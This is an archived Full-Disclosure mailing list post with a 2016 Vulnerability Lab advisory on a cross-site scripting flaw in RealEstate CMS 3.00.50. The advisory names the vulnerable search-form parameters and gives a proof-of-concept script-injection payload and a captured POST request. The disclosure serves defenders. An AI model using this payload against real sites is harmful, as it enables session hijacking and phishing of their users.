lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <6ece1308-a2e7-2d03-1ebe-5bf13466dad3@vulnerability-lab.com>
Date: Thu, 6 Oct 2016 10:20:16 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] RealEstate CMS 3.00.50 - Cross Site Scripting Vulnerability

Document Title:
===============
RealEstate CMS 3.00.50 - Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1949


Release Date:
=============
2016-10-06


Vulnerability Laboratory ID (VL-ID):
====================================
1949


Common Vulnerability Scoring System:
====================================
3


Product & Service Introduction:
===============================
RealEstate CMS is a web portal script designed for realty agents , realtor or brokers to sell , buy , trade , rent and letting their client's property 
through online. It is a web based Content Management System integrated web application platform developed in php, mysql used by real estate companies 
to promote properties. Feature-rich, SEO-friendly, easy to use interface with Protected admin area to create.
 
(Copy of the Vendor Homepage: http://www.script4realestate.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a cross site scripting vulnerability in the official RealEstate v3.00.50 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-10-06:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official Realestate v3.00.50 content management system.
The vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable module or service.

A client-side cross site scripting web vulnerability is located in the search engine. The web vulnerability could allows an attacker 
to execute javascript in the web-browser of the user or administrator to compromise session credentials. The injection point of the  
vulnerability is in the `Add` function with the `property_name`, `property_price` and `post_code` parameters. The execution point 
occurs in the the search module of the content management system. The request method to inject is POST and the attack vector of the 
issue is located to the client-side of the web-application.

The security risk of the web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.1. 
Exploitation of the client-side vulnerability requires no privileged web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerability results in non-persistent phishing, session hijacking, non-persistent external redirect 
to malicious sources and client-side manipulation of affected or connected web module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add (Input)

Vulnerable Parameter(s):
[+] property_name
[+] post_code
[+] property_price


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user account and with low or medium user interaction.
For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue.


PoC: Source
<div class="form-group">
  <label>Post Code:</label>
    <input type="text" name="post_code" id="post_code" placeholder="Any" value="'"/>></script><script>alert("vulnerabilitylab")</script>" class="form-control">
    <input type="hidden" name="block_search" value="search" /></div>
<div class="form-group">
    <input name="property_name" id="property_name" operator="contains" type="text" placeholder="Property Name"
	value="'"/>></script><script>alert("vulnerabilitylab")</script>" class="form-control"/></div>
<script type="text/javascript">
    {field: "property_price", operator: $("#property_price").attr('operator'), value: ""'"/>></script><script>alert("vulnerabilitylab")</script>"},
</script>


--- PoC Session Logs [POST] ---
Status: 200 [OK]
Host: realestate.localhost:8000/
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://realestate.localhost:8000/
Cookie: PHPSESSID=8897722dac6adcebc9a966069e91ea83; __unam=6aaa37b-1570a42f57e-507aafb3-2; __utma=261436815.141070340.1473345943.1473345943.1473345943.1; __utmb=261436815.2.10.1473345943; __utmc=261436815; __utmz=261436815.1473345943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 529
block_search=search&property_name='"/>></script><script>alert("vulnerabilitylab")</script>&post_code='"/>></script><script>alert("vulnerabilitylab")</script>&category_id_arr%5B%5D=any&property_type=any&property_price='"/>></script><script>alert("vulnerabilitylab")</script>&property_price-gte=any&property_price-lte=any&feature_room_no-gte=any&feature_bathroom-gte=any&country_id=227&state_id=any&area_id=any&property_owner=any

Note: There is not filter validation or csrf token in use to prevent exploitation in case of a performed POST method request with non-expired session credentials.


Reference(s):
http://realestate.localhost:8000/


Security Risk:
==============
The security risk of the client-side post inject web vulnerability in the search module is estimated as medium. (CVSS 3.0)


Credits & Authors:
==================
ZwX -  (http://zwx.fr/)  )[http://www.vulnerability-lab.com/show.php?user=ZwX]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ